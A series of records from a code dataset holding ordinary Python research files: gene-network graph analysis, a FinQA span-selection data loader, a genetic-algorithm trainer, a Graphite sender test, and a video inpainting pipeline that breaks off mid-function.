width=edge_width*0.5,\n\t\t\t\t\t\t\t\t edge_color=edge_dashed_colors_cor, style='dashed',alpha=alpha_val,\n\t\t\t\t\t\t\t\t edge_cmap=plt.cm.get_cmap(edge_cmap), edge_vmin=0, edge_vmax=1)\n\t\tif print_edge_labels:\n\t\t\tnx.draw_networkx_edge_labels(graph, pos, edgelist=edges_to_draw,\n\t\t\t\t\t\t\t\t\t\tedge_labels=edge_labels_pear,label_pos=0.5,\n\t\t\t\t\t\t\t\t\t\tfont_weight='bold')\n\t### End of test for dashed edges\n\t\n\t\n\tplt.ylabel('Decomposition Order',weight='bold',fontsize=18)\n\tplt.yticks(np.arange(0, max_dim+5, 5),labels=np.arange(0, max_dim+5, 5), fontsize=14, fontweight='bold')\n\tplt.grid(axis='y', linestyle='--')\n\tplt.grid(b=None,axis='x')\n\t#plt.sci(edges_border) \n\tplt.sci(edges_fig)\n\tif edge_select == \"Signature_correlation\":\n\t\tplt.colorbar().set_label(\"Edges Average \"+signature+\" correlation\",weight='bold',fontsize=18)\n\telif edge_select == \"Pearson_correlation\":\n\t\tplt.colorbar().set_label(\"Edges Pearson correlation\",weight='bold',fontsize=18)\n\tplt.gci().set_cmap(edge_cmap)\n\tplt.sci(nodes_fig)\n\tif len(genes_test)>0:\n\t\tplt.colorbar().set_label(\"Nodes found genes proportion\",weight='bold',fontsize=18)\n\telse:\n\t\tplt.colorbar().set_label(\"Nodes \"+signature+\" correlation\",weight='bold',fontsize=18)\n\tplt.gci().set_cmap(node_cmap)\n\tax.tick_params(left=True, bottom=False, labelleft=True, labelbottom=False)\n\t#ax.collections[1].set_edgecolor(\"#FF0000\")\n\t#ax.collections[0].set_edgecolor(\"#FF0000\") \n\tplt.savefig(file_name+\".svg\")\n\tif show:\n\t\tplt.show()\n\t\n\treturn\n\ndef Orient_component(comp_vect, score_type, threshold):\n\t\n\tif score_type == \"zscore\":\n\t\tcomp_vect_zscr = scipy.stats.zscore(comp_vect)\n\t\ttop_thresh = sum([x for x in comp_vect_zscr if x > threshold])\n\t\tbot_thresh = sum([x for x in comp_vect_zscr if x < -threshold])\n\t\tif abs(top_thresh) > abs(bot_thresh):\n\t\t\treturn comp_vect_zscr\n\t\telse:\n\t\t\treturn comp_vect_zscr * -1\n\telif score_type == \"icascore\":\n\t\tcomp_vect_sort = sorted(comp_vect)\n\t\ttop_thresh = sum(comp_vect_sort[-threshold:])\n\t\tbot_thresh = sum(comp_vect_sort[:threshold])\n\t\tif abs(top_thresh) > abs(bot_thresh):\n\t\t\treturn comp_vect\n\t\telse:\n\t\t\treturn comp_vect * -1\n\telif score_type == \"rank\":\n\t\tcomp_vect_zscr = scipy.stats.zscore(comp_vect)\n\t\ttop_thresh = sum([x for x in comp_vect_zscr if x > threshold])\n\t\tbot_thresh = sum([x for x in comp_vect_zscr if x < -threshold])\n\t\tif abs(top_thresh) > abs(bot_thresh):\n\t\t\tcomp_vect = comp_vect * -1\n\t\t\ttmp = comp_vect.argsort()\n\t\t\tranks = np.empty_like(tmp)\n\t\t\tranks[tmp] = np.arange(len(comp_vect))\n\t\t\treturn ranks + 1\n\t\telse:\n\t\t\ttmp = comp_vect.argsort()\n\t\t\tranks = np.empty_like(tmp)\n\t\t\tranks[tmp] = np.arange(len(comp_vect))\n\t\t\treturn ranks + 1\n\telse:\n\t\tprint(\"Wrong score type input... Input untouched!\")\n\t\treturn comp_vect\n\ndef Compute_average_segments(graph_full, graph_simple, score_type, threshold, datafolder, job):\n\t\n\t# Load gene names\n\tgenes_pd = pd.read_csv(datafolder+\"/\"+job+\"_genes.txt\", sep='\\t')\n\t# Extract full component paths from NetworkX graph\n\tgraph_full_fcp = nx.weakly_connected_components(graph_full)\n\tgraph_simple_fcp = nx.connected_components(graph_simple)\n\t# Loop over segments\n\tprint(\"Computing average scores...\")\n\tseg_average_list = []\n\tfor segment in graph_full_fcp:\n\t\tseg_all_vect = []\n\t\t# Loop over components\n\t\tfor component in segment:\n\t\t\ttmp = component.split(\"C_\")\n\t\t\tcomp = int(tmp[0])\n\t\t\tIC = int(tmp[1])\n\t\t\tX = np.load(job+\"_deconvolutions/\"+job+\"_S_matrix_C\"+str(comp)+\".npy\")\n\t\t\tIC_vect = X[:,IC-1]\n\t\t\tseg_all_vect.append(IC_vect)\n\t\t# Compute average\n\t\tsum_vect = np.zeros(len(seg_all_vect[0]))\n\t\tfor vect in seg_all_vect:\n\t\t\t# Orient the component based on score type and threshold\n\t\t\torient_average_vect = Orient_component(vect, score_type, threshold)\n\t\t\t# Add the oriented score into the list\n\t\t\tsum_vect += orient_average_vect\n\t\t# Average the list of scores\n\t\taverage_sum_vect = sum_vect/(len(segment))\n\t\t\n\t\tif score_type == \"rank\":\n\t\t\taverage_sum_vect = np.rint(average_sum_vect)\n\t\t\n\t\tseg_average_list.append(average_sum_vect)\n\t# Get segment simplified names\n\tsegment_simple_names_list = []\n\tfor segment in graph_simple_fcp:\n\t\tcomp_pair = []\n\t\tfor comp in segment:\n\t\t\tcomp_pair.append(comp)\n\t\tcomp1 = comp_pair[0].split(\"C_\")[0]\n\t\tcomp2 = comp_pair[1].split(\"C_\")[0]\n\t\tif int(comp1) < int(comp2):\n\t\t\tsegment_simple_names_list.append(comp_pair[0]+\"to\"+comp_pair[1])\n\t\telse:\n\t\t\tsegment_simple_names_list.append(comp_pair[1]+\"to\"+comp_pair[0])\n\n\tprint(\"Saving results...\")\n\t# Store the components in a pandas table for export\n\taverage_segment_pd = pd.DataFrame.from_dict(dict(zip(segment_simple_names_list, seg_average_list)))\n\t#print(average_segment_pd[segment_simple_names_list[0]])\n\taverage_segment_pd.index = genes_pd[\"Genes\"].to_list()\n\n\taverage_segment_pd.to_csv('Graphs/'+job+\"_\"+score_type+\"_thresh\"+str(threshold)+\"_average_segments.txt\", sep=\"\\t\", index_label=\"Genes\")\n\tprint(\"Job done!\")\n\t\n\treturn\n\ndef Compute_simplified_normalised_ranks(persist_graph, datafolder, job, threshold=0.0):\n\n\tgenes_pd = pd.read_csv(datafolder+\"/\"+job+\"_genes.txt\", sep='\\t')\n\n\tprint(\"Generating stable ranks...\")\n\tDetailed_persistent_comp = nx.weakly_connected_components(persist_graph)\n\tSimplified_comp_dict = {}\n\tfor persistent_comp in Detailed_persistent_comp:\n\t\t# Get simplified persistent component name\n\t\tdim_list = []\n\t\tcomp_list = []\n\t\tfor comp in persistent_comp:\n\t\t\tcomp_list.append(comp)\n\t\t\tdim_list.append(int(comp.split(\"C_\")[0]))\n\t\tdim_min = min(dim_list)\n\t\tdim_max = max(dim_list)\n\t\tsimp_comp = str(comp_list[dim_list.index(dim_min)])+\"_to_\"+str(comp_list[dim_list.index(dim_max)])\n\t\t#print(simp_comp)\n\n\t\tAll_comp_array = []\n\t\tfor comp in persistent_comp:\n\t\t\ttmp = comp.split(\"C_\")\n\t\t\torder = tmp[0]\n\t\t\tN = tmp[1]\n\t\t\tC = np.load(job+\"_deconvolutions/\"+job+\"_S_matrix_C\"+str(order)+\".npy\")\n\t\t\tica_score_comp = C[:,int(N)-1]\n\t\t\tAll_comp_array.append(ica_score_comp)\n\t\t\t#print(ica_score_comp)\n\t\tAll_comp_array = np.array(All_comp_array)\n\n\t\t# Get ranks of components in ascending order: most negative = 1, most positive = max_len\n\t\tAll_comp_array_rank = []\n\t\tfor comp in range(len(All_comp_array)):\n\t\t\ttmp = All_comp_array[comp].argsort()\n\t\t\tranks = np.empty_like(tmp)\n\t\t\tranks[tmp] = np.arange(len(All_comp_array[comp]))\n\t\t\tranks = ranks + 1\n\t\t\tAll_comp_array_rank.append(ranks)\n\n\t\tAll_comp_array_rank = np.array(All_comp_array_rank)\n\n\t\tAll_comp_array_rank_norm = preprocessing.minmax_scale(All_comp_array_rank, feature_range=(-1, 1), axis=1)\n\t\t# Simplify normalised ranks to -1, 0 or +1 based on the set threshold\n\t\tAll_comp_array_rank_norm_clean = np.where(All_comp_array_rank_norm >= -threshold, All_comp_array_rank_norm, -1)\n\t\tAll_comp_array_rank_norm_clean = np.where(All_comp_array_rank_norm_clean <= threshold, All_comp_array_rank_norm_clean, 1)\n\t\tAll_comp_array_rank_norm_clean = np.where((All_comp_array_rank_norm_clean > -threshold) ^ (All_comp_array_rank_norm_clean < threshold), All_comp_array_rank_norm_clean, 0)\n\t\t# Find genes that are not only -1 or +1\n\t\tall_neg = np.all(All_comp_array_rank_norm_clean == -1, axis=0)\n\t\tall_pos = np.all(All_comp_array_rank_norm_clean == 1, axis=0)\n\t\tnot_interest = ~all_neg & ~all_pos\n\t\t# Calculate mean normalised rank for only positive or negative and put 0 for rest\n\t\tMean_norm_rank_cleaned = All_comp_array_rank_norm.mean(0)\n\t\t# Put all non stable values to zero\n\t\tMean_norm_rank_cleaned[not_interest] = int(0)\n\t\tSimplified_comp_dict[simp_comp] = Mean_norm_rank_cleaned\n\n\tprint(\"Saving file...\")\n\tSimplified_norm_ranks_df = pd.DataFrame.from_dict(Simplified_comp_dict)\n\tSimplified_norm_ranks_df.index = genes_pd[\"Genes\"].to_list()\n\tSimplified_norm_ranks_df.to_csv('Graphs/'+job+\"_thresh_\"+str(threshold)+\"_average_stability_persistent_components.txt\",\n\t\t\t\t\t\t\t\t\tsep=\"\\t\", index_label=\"Genes\", float_format='%.5f')\n\tprint(\"Done!\")\n\treturn\n","repo_name":"NicolasSompairac/HACK","sub_path":"hack/tree_analysis.py","file_name":"tree_analysis.py","file_ext":"py","file_size_in_byte":18511,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"72"}
+{"seq_id":"1192960328","text":"from torch.utils.data import Dataset\nfrom transformers import AutoTokenizer\nimport constants\nfrom models.utlis.utils import get_op_const_list\nimport json\nimport torch\nfrom typing import Dict, List, Any, Union\n\nclass SpanSelectionDataset(Dataset):\n def __init__(self,data_file,transformer_model_name,is_training,entity_name: str = \"question_type\"):\n self.data_file = data_file\n self.transformer_model_name = transformer_model_name\n self.tokenizer = AutoTokenizer.from_pretrained(self.transformer_model_name)\n self.max_seq_length = constants.max_seq_length #### add to constant as 30 if not in training config \n self.is_training=is_training\n self.entity_name = entity_name\n self.data_all = self.read()\n self.instances = self.get_features()\n \n def read(self):\n with open(self.data_file) as f:\n data_all = json.load(f)\n return data_all\n\n def get_features(self): \n examples = []\n features_all=[]\n for example in self.data_all:\n features = self.convert_example_to_feature(example)\n features_all.append(features)\n if example:\n examples.append(example)\n return features_all\n\n def __getitem__(self, idx: int):\n return self.instances[idx]\n\n def __len__(self):\n return len(self.instances)\n \n def convert_example_to_feature(self,example):\n \n if example[\"qa\"][self.entity_name] != \"span_selection\":\n return None\n \n #Getting the retrieved facts by fact retriever model\n context = \"\"\n for idx in example[\"model_input\"]:\n if type(idx) == int:\n context += example[\"paragraphs\"][idx][:-1]\n context += \" \"\n\n else:\n context += example[\"table_description\"][idx][:-1]\n context += \" \"\n \n question = example[\"qa\"][\"question\"]\n this_id = example[\"uid\"]\n \n #context from FR model is concatted with question\n original_question = f\"Question: {question} Context: {context.strip()}\"\n if \"answer\" in example[\"qa\"]:\n answer = example[\"qa\"][\"answer\"]\n else:\n answer = \"\"\n if type(answer) != str:\n answer = str(int(answer))\n\n original_question_tokens = original_question.split(' ')\n example ={\n \"id\":this_id,\n \"original_question\":original_question,\n \"question_tokens\":original_question_tokens,\n \"answer\":answer\n }\n return self.concatetnating(example)\n\n def concatetnating(self,example):\n #encoding of original question quesion after tokenizing\n input_text_encoded = self.tokenizer.encode_plus(example[\"original_question\"],\n max_length=self.max_seq_length,\n pad_to_max_length=True)\n input_ids = input_text_encoded[\"input_ids\"]\n input_mask = input_text_encoded[\"attention_mask\"]\n #encoding of original label after tokenizing\n label_encoded = self.tokenizer.encode_plus(str(example[\"answer\"]),\n max_length=16,\n pad_to_max_length=True)\n label_ids = label_encoded[\"input_ids\"]\n \n this_input_feature = {\n \"uid\": example.id,\n \"tokens\": example.question_tokens,\n \"question\": example.original_question,\n \"input_ids\": input_ids,\n \"input_mask\": input_mask,\n \"label_ids\": label_ids,\n \"label\": str(example.answer) \n }\n return this_input_feature\n\ndef customized_collate_fn(examples: List[Dict[str, Any]]) -> Dict[str, Any]:\n result_dict = {}\n for k in examples[0].keys():\n try:\n result_dict[k] = right_pad_sequences([torch.tensor(ex[k]) for ex in examples], \n batch_first=True, padding_value=0)\n except:\n result_dict[k] = [ex[k] for ex in examples]\n return result_dict\n\n \n#helper to collate function\ndef right_pad_sequences(sequences: List[torch.Tensor], batch_first: bool = True, padding_value: Union[int, bool] = 0, \n max_len: int = -1, device: torch.device = None) -> torch.Tensor:\n assert all([len(seq.shape) == 1 for seq in sequences])\n max_len = max_len if max_len > 0 else max(len(s) for s in sequences)\n device = device if device is not None else sequences[0].device\n\n padded_seqs = []\n for seq in sequences:\n padded_seqs.append(torch.cat(seq, (torch.full((max_len - seq.shape[0],), padding_value, dtype=torch.long).to(device))))\n return torch.stack(padded_seqs)","repo_name":"thewhiteflower110/Fact-Retrieval-Augmentation-for-FinQA","sub_path":"data/span_daata.py","file_name":"span_daata.py","file_ext":"py","file_size_in_byte":4766,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"7930218836","text":"import argparse\n\nfrom src.genetic import *\nfrom src.utils import *\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--config', '-p', type=str, default='config', help='path to the folder with parameters and configurations') \n parser.add_argument('--data', '-d', type=str, default='data', help='path to the data folder')\n \n args = parser.parse_args()\n data_folder = args.data\n parameter_folder = args.config\n \n basic_loader = ParamsLoader(parameter_folder)\n #parse the parameters of the genetic algorithm\n gens_num, gen_size, model_type, participants, metrics, n_metrics, lca_model = GA_ParamsLoader(parameter_folder).load('ga_parameters')\n #parameters of simulation\n trial_length, n_trials, desired_res = basic_loader.load('slca_parameters_sim').values()\n data = DataLoader(data_folder, desired_res)\n #parse the parameters range of the SLCA\n params_range = SLCA_ParamsRangeLoader(parameter_folder).load('slca_parameters_range')\n \n #parse the initial parameters of the SLCA\n params_init = SLCA_ParamsInitLoader(parameter_folder).load('slca_parameters_init')\n #parse fixed parameters of the SLCA\n fixed_parameters = SLCA_ParamsFixedLoader(parameter_folder).load('slca_parameters_fixed')\n \n #initialize the genetic algorithm\n ga = GA(gen_size=gen_size, params_range=params_range, fixed=fixed_parameters,\n param_to_index=basic_loader.all_params, index_to_param={v:k for k,v in basic_loader.all_params.items()},\n data=data, participants=participants, metrics=metrics, n_metrics=n_metrics, lca_model=lca_model,\n trial_length=trial_length, n_trials=n_trials)\n #initial parameter sets\n params = np.zeros(shape=(gens_num, gen_size, len(basic_loader.all_params)))\n print('init_params', params.shape)\n params[0] = ga.first_gen()\n \n for i, param_set in enumerate(params_init):\n params[0, i, list(param_set.keys())] = list(param_set.values())\n \n #start optimization\n for g in range(1, gens_num):\n print(f'GENERATION {g}/{gens_num}')\n try:\n params[g] = ga.next_gen(g, params[g-1])\n print(f'GENERATION {g} RES {list(params[g])}')\n except Exception as e:\n print(\"!!! Exception\", str(e))\n ","repo_name":"rainsummer613/slca","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"84583489","text":"import mock\nimport pytest\n\nfrom crypta.lib.python.graphite import sender\nfrom crypta.lib.python.graphite.sender import schemas\nimport conftest\n\nTOKEN = \"token\"\n\n\ndef mock_swagger(requests):\n class MockSwagger(object):\n def __init__(self, url, token):\n self.metric = MockAPIMetric(requests)\n assert TOKEN == token\n\n class MockAPIMetric(object):\n def __init__(self, requests):\n self.requests = requests\n\n def report(self, frequency, hostname, group, name, value, timestamp):\n request = self.requests.pop(0)\n assert request == (frequency, hostname, group, name, value, timestamp)\n return MockReport()\n\n class MockReport(object):\n def __init__(self):\n pass\n\n def result(self, **kwargs):\n pass\n\n return mock.patch(\"crypta.lib.python.graphite.sender.swagger\", side_effect=MockSwagger)\n\n\n@pytest.mark.parametrize(\"kwargs,metrics,requests\", [\n (\n {\"root_path\": \"root.path\"},\n [(\"m1\", 123123), (\"long.metric\", 12937, None)],\n [\n (\"ONE_MIN\", conftest.NORMALIZED_FQDN, \"root.path\", \"m1\", 123123, conftest.TIMESTAMP_INT),\n (\"ONE_MIN\", conftest.NORMALIZED_FQDN, \"root.path\", \"long.metric\", 12937, conftest.TIMESTAMP_INT)\n ]\n ),\n (\n {\"root_path\": \"root.path\"},\n [],\n []\n ),\n (\n {\"fqdn\": \"f.q.d.n\", \"root_path\": \"root.path\"},\n [(\"metric1\", 1, 1500000000), (\"metric.2\", 2, 1400000000)],\n [\n (\"ONE_MIN\", \"f_q_d_n\", \"root.path\", \"metric1\", 1, 1500000000),\n (\"ONE_MIN\", \"f_q_d_n\", \"root.path\", \"metric.2\", 2, 1400000000),\n ]\n ),\n (\n {\"fqdn\": \"f.q.d.n\", \"schema\": schemas.ONE_SEC, \"root_path\": \"root.path\"},\n [(\"metric1\", 1, 1500000000), (\"metric.2\", 2, 1400000000)],\n [\n (\"ONE_SEC\", \"f_q_d_n\", \"root.path\", \"metric1\", 1, 1500000000),\n (\"ONE_SEC\", \"f_q_d_n\", \"root.path\", \"metric.2\", 2, 1400000000),\n ]\n ),\n (\n {\"root_path\": \"root.path\", \"timestamp\": 1500000000},\n [(\"metric1\", 1), (\"metric.2\", 2, 1400000000)],\n [\n (\"ONE_MIN\", conftest.NORMALIZED_FQDN, \"root.path\", \"metric1\", 1, 1500000000),\n (\"ONE_MIN\", conftest.NORMALIZED_FQDN, \"root.path\", \"metric.2\", 2, 1400000000)\n ]\n )\n])\ndef test_send_metrics(kwargs, metrics, requests, mock_time, mock_getfqdn):\n with mock_swagger(requests), mock_time, mock_getfqdn:\n graphite_sender = sender.CryptaAPIGraphiteSender(TOKEN)\n graphite_sender.send_metrics(metrics, **kwargs)\n assert requests == []\n\n\ndef test_send_metrics_fail_with_no_root_path(mock_time, mock_getfqdn):\n with mock_swagger([]), mock_time, mock_getfqdn:\n graphite_sender = sender.CryptaAPIGraphiteSender(TOKEN)\n\n with pytest.raises(Exception):\n graphite_sender.send_metrics((\"name\", 1))\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"crypto/test/test_crypta_api_graphite_sender.py","file_name":"test_crypta_api_graphite_sender.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"9017877114","text":"import os\nimport importlib\nimport glob\nimport time\n\nimport numpy as np\nimport cv2\nimport torch\nfrom torchvision import transforms as T\nfrom skimage.io import imsave\n\nfrom tqdm import tqdm\nfrom PIL import Image\n\nimport sys\nfrom detectron2.config import get_cfg\nfrom detectron2.engine import DefaultPredictor\n\nsys.path.append('/home/akannan2/inpainting/E2FGVI/')\nfrom core.utils import to_tensors\n\nsys.path.append('/home/akannan2/inpainting/EgoHOS/mmsegmentation/')\nfrom mmseg.apis import inference_segmentor, init_segmentor\n\ndef get_human_cfg():\n config_file = '/home/akannan2/inpainting/detectron2/configs/COCO-InstanceSegmentation/mask_rcnn_R_50_FPN_3x.yaml'\n weights = 'detectron2://COCO-InstanceSegmentation/mask_rcnn_R_50_FPN_3x/137849600/model_final_f10217.pkl'\n confidence_threshold = 0.5\n\n cfg = get_cfg()\n cfg.merge_from_file(config_file)\n\n cfg.MODEL.WEIGHTS = weights\n cfg.MODEL.RETINANET.SCORE_THRESH_TEST = confidence_threshold\n cfg.MODEL.ROI_HEADS.SCORE_THRESH_TEST = confidence_threshold\n cfg.MODEL.PANOPTIC_FPN.COMBINE.INSTANCES_CONFIDENCE_THRESH = confidence_threshold\n cfg.freeze()\n return cfg\n\ndef get_robot_cfg():\n config_file = '/home/akannan2/inpainting/detectron2/configs/COCO-InstanceSegmentation/mask_rcnn_R_50_FPN_3x.yaml'\n weights = '/home/akannan2/inpainting/detectron2/output/model_final.pth'\n confidence_threshold = 0.7\n \n cfg = get_cfg()\n cfg.merge_from_file(config_file)\n\n cfg.MODEL.WEIGHTS = weights\n cfg.MODEL.ROI_HEADS.SCORE_THRESH_TEST = confidence_threshold\n cfg.MODEL.ROI_HEADS.NUM_CLASSES = 1\n return cfg\n\n\ndef get_segmentation_model(cfg, rank=None):\n if rank is not None:\n cfg.MODEL.DEVICE = f'cuda:{rank}'\n predictor = DefaultPredictor(cfg)\n return predictor\n\ndef get_inpaint_model(args, rank=None):\n # set up models\n if rank is not None:\n device = torch.device(f'cuda:{rank}')\n else:\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n net = importlib.import_module('model.' + args.model)\n model = net.InpaintGenerator().to(device)\n data = torch.load(args.ckpt, map_location=device)\n model.load_state_dict(data)\n print(f'Loading model from: {args.ckpt}')\n model.eval()\n\n return model\n\ndef get_ref_index(f, neighbor_ids, length, ref_length, num_ref):\n ref_index = []\n if num_ref == -1:\n for i in range(0, length, ref_length):\n if i not in neighbor_ids:\n ref_index.append(i)\n else:\n start_idx = max(0, f - ref_length * (num_ref // 2))\n end_idx = min(length, f + ref_length * (num_ref // 2))\n for i in range(start_idx, end_idx + 1, ref_length):\n if i not in neighbor_ids:\n if len(ref_index) > num_ref:\n break\n ref_index.append(i)\n return ref_index\n\n# resize frames\ndef resize_frames(frames, size=None):\n if size is not None:\n frames = [f.resize(size) for f in frames]\n else:\n size = frames[0].size\n return frames, size\n\ndef process_masks(masks, size = None):\n masks_expanded = []\n for mask in masks:\n if mask.shape[0] == 0:\n m = np.zeros(size).astype(np.uint8)\n else:\n m = np.clip(mask.cpu().numpy().astype(np.uint8).sum(axis=0), 0, 1)\n\n m = Image.fromarray(np.uint8(m), mode='L')\n m = m.resize(size, Image.NEAREST)\n\n m = np.array(m)\n m = np.array(m > 0).astype(np.uint8)\n masks_expanded.append(Image.fromarray(m * 255))\n\n return masks_expanded\n\ndef get_segmented_frames(video_frames, model, model_name, human_filter=False):\n resolution = None\n if model_name == 'e2fgvi_hq':\n height, width = video_frames[0].shape[0], video_frames[0].shape[1]\n downsample_resolution_factor = max(width // 400 + 1, height // 400 + 1)\n resolution = width // downsample_resolution_factor, height // downsample_resolution_factor\n\n if resolution:\n frames = [cv2.resize(frame, dsize=resolution, interpolation=cv2.INTER_CUBIC) for frame in video_frames]\n else:\n frames = video_frames\n\n frames_info = [model(frame) for frame in frames]\n masks = []\n for i in range(len(frames_info)):\n if not human_filter:\n masks.append(frames_info[i]['instances'].pred_masks)\n else:\n human_masks = []\n for j, cls_id in enumerate(frames_info[i]['instances'].pred_classes):\n if cls_id == 0:\n hmask = frames_info[i]['instances'].pred_masks[j]\n struct_element = cv2.getStructuringElement(cv2.MORPH_CROSS, (3, 3))\n hmask_processed = cv2.dilate(hmask.cpu().numpy().astype(np.uint8), struct_element, iterations=2).astype(np.bool)\n hmask_processed = torch.Tensor(hmask_processed).to(hmask.device)\n human_masks.append(hmask_processed)\n\n if len(human_masks) == 0:\n masks.append(torch.Tensor(human_masks))\n else:\n masks.append(torch.stack(human_masks))\n \n return frames, masks\n\ndef inpaint_wrapper(args, states, cfg, rank):\n chunksize = states.shape[0] // args.num_gpus\n start = chunksize * rank\n if rank == args.num_gpus - 1:\n end = states.shape[0]\n else:\n end = start + chunksize\n \n inpaint_model = get_inpaint_model(args, rank)\n segment_model = get_segmentation_model(cfg, rank)\n inpainted_states = []\n for i in tqdm(range(start, end)):\n res = inpaint(args, inpaint_model, segment_model, states[i], rank)\n inpainted_states.append(res)\n\n return np.array(inpainted_states)\n\ndef inpaint(args, inpaint_model, segment_model, video_frames, rank=None):\n if rank is not None:\n device = torch.device(f\"cuda:{rank}\")\n else:\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n if args.model == \"e2fgvi\":\n size = (432, 240)\n elif args.set_size:\n size = (args.width, args.height)\n else:\n size = None\n\n # prepare datset\n frames, masks = get_segmented_frames(video_frames, segment_model, args.model, human_filter=True)\n frames = [Image.fromarray(cv2.cvtColor(frame, cv2.COLOR_BGR2RGB), mode='RGB') for frame in frames]\n\n frames, size = resize_frames(frames, size)\n h, w = size[1], size[0]\n video_length = len(frames)\n imgs = to_tensors()(frames).unsqueeze(0) * 2 - 1\n frames = [np.array(f).astype(np.uint8) for f in frames]\n\n masks = process_masks(masks, size)\n binary_masks = [\n np.expand_dims((np.array(m) != 0).astype(np.uint8), 2) for m in masks\n ]\n masks = to_tensors()(masks).unsqueeze(0)\n imgs, masks = imgs.to(device), masks.to(device)\n comp_frames = [None] * video_length\n\n # completing holes by e2fgvi\n for f in range(0, video_length, args.neighbor_stride):\n neighbor_ids = [\n i for i in range(max(0, f - args.neighbor_stride),\n min(video_length, f + args.neighbor_stride + 1))\n ]\n ref_ids = get_ref_index(f, neighbor_ids, video_length, ref_length=args.step, num_ref=args.num_ref)\n selected_imgs = imgs[:1, neighbor_ids + ref_ids, :, :, :]\n selected_masks = masks[:1, neighbor_ids + ref_ids, :, :, :]\n with torch.no_grad():\n masked_imgs = selected_imgs * (1 - selected_masks)\n mod_size_h = 60\n mod_size_w = 108\n h_pad = (mod_size_h - h % mod_size_h) % mod_size_h\n w_pad = (mod_size_w - w % mod_size_w) % mod_size_w\n masked_imgs = torch.cat(\n [masked_imgs, torch.flip(masked_imgs, [3])],\n 3)[:, :, :, :h + h_pad, :]\n masked_imgs = torch.cat(\n [masked_imgs, torch.flip(masked_imgs, [4])],\n 4)[:, :, :, :, :w + w_pad]\n pred_imgs, _ = inpaint_model(masked_imgs, len(neighbor_ids))\n pred_imgs = pred_imgs[:, :, :h, :w]\n pred_imgs = (pred_imgs + 1) / 2\n pred_imgs = pred_imgs.cpu().permute(0, 2, 3, 1).numpy() * 255\n for i in range(len(neighbor_ids)):\n idx = neighbor_ids[i]\n img = np.array(pred_imgs[i]).astype(\n np.uint8) * binary_masks[idx] + frames[idx] * (\n 1 - binary_masks[idx])\n if comp_frames[idx] is None:\n comp_frames[idx] = img\n else:\n comp_frames[idx] = comp_frames[idx].astype(\n np.float32) * 0.5 + img.astype(np.float32) * 0.5\n \n ret_frames = []\n for f in range(video_length):\n comp = comp_frames[f].astype(np.uint8)\n ret_frames.append(cv2.cvtColor(comp, cv2.COLOR_BGR2RGB))\n\n return ret_frames\n\n\n\"\"\" EGOHOS functions below \"\"\"\ndef get_segmentation_model_egohos(rank=None):\n if rank is not None:\n device = torch.device(f\"cuda:{rank}\")\n else:\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n config_file = '/home/akannan2/inpainting/EgoHOS/mmsegmentation/work_dirs/seg_twohands_ccda/seg_twohands_ccda.py'\n checkpoint_file = '/home/akannan2/inpainting/EgoHOS/mmsegmentation/work_dirs/seg_twohands_ccda/best_mIoU_iter_56000.pth'\n model = init_segmentor(config_file, checkpoint_file, device=device)\n\n return model\n\ndef segment_video(reader, model, video_path, catchBadMasks=False):\n height, width = reader[0].shape[0], reader[0].shape[1]\n downsample_resolution_factor = max(width // 400 + 1, height // 400 + 1)\n resolution = width // downsample_resolution_factor, height // downsample_resolution_factor\n \n video_dir = os.path.join(video_path, 'tmp')\n video_image_dir = os.path.join(video_dir, 'images')\n os.makedirs(video_image_dir, exist_ok = True)\n frames = []\n for num, image in tqdm(enumerate(reader), total=len(reader)):\n save_img_file = os.path.join(video_image_dir, str(num).zfill(8)+'.png')\n image = cv2.resize(image, dsize=resolution, interpolation=cv2.INTER_CUBIC).astype(np.uint8)\n frames.append(image)\n imsave(save_img_file, image)\n\n print('Segmenting video frames......')\n masks = []\n for file in tqdm(sorted(glob.glob(video_image_dir + '/*'))):\n seg_result = inference_segmentor(model, file)[0]\n masks.append(seg_result.astype(np.uint8))\n\n masks = [(mask > 0).astype(np.uint8) for mask in masks]\n dilate = lambda m : cv2.dilate(m, cv2.getStructuringElement(cv2.MORPH_CROSS, (5, 5)), iterations=5)\n masks = [dilate(mask) for mask in masks]\n\n os.system('rm -rf ' + video_dir)\n\n # check criterion for if segmentation is good\n if catchBadMasks:\n zeroOrOne = lambda x : 1 if x > 0 else 0\n mask_exists = [zeroOrOne(np.sum(mask)) for mask in masks]\n if sum(mask_exists) / len(mask_exists) < 0.5:\n print('Bad segmentation for video')\n\n masks = [torch.from_numpy(mask) for mask in masks]\n\n return frames, masks\n\ndef inpaint_egohos(args, inpaint_model, segment_model, video_frames, rank=None):\n if rank is not None:\n device = torch.device(f\"cuda:{rank}\")\n else:\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n if args.model == \"e2fgvi\":\n size = (432, 240)\n elif args.set_size:\n size = (args.width, args.height)\n else:\n size = None\n\n # prepare datset\n frames, masks = segment_video(video_frames, segment_model, args.demo_path, catchBadMasks=True)\n masks = [torch.tensor(mask, dtype=torch.float, device=device) for mask in masks]\n masks = [mask.expand(3, -1, -1) for mask in masks]\n frames = [Image.fromarray(frame, mode='RGB') for frame in frames]\n\n frames, size = resize_frames(frames, size)\n h, w = size[1], size[0]\n video_length = len(frames)\n imgs = to_tensors()(frames).unsqueeze(0) * 2 - 1\n frames = [np.array(f).astype(np.uint8) for f in frames]\n\n masks = process_masks(masks, size)\n binary_masks = [\n np.expand_dims((np.array(m) != 0).astype(np.uint8), 2) for m in masks\n ]\n masks = to_tensors()(masks).unsqueeze(0)\n imgs, masks = imgs.to(device), masks.to(device)\n comp_frames = [None] * video_length\n\n # completing holes by e2fgvi\n for f in tqdm(range(0, video_length, args.neighbor_stride)):\n neighbor_ids = [\n i for i in range(max(0, f - args.neighbor_stride),\n min(video_length, f + args.neighbor_stride + 1))\n ]\n ref_ids = get_ref_index(f, neighbor_ids, video_length, ref_length=args.step, 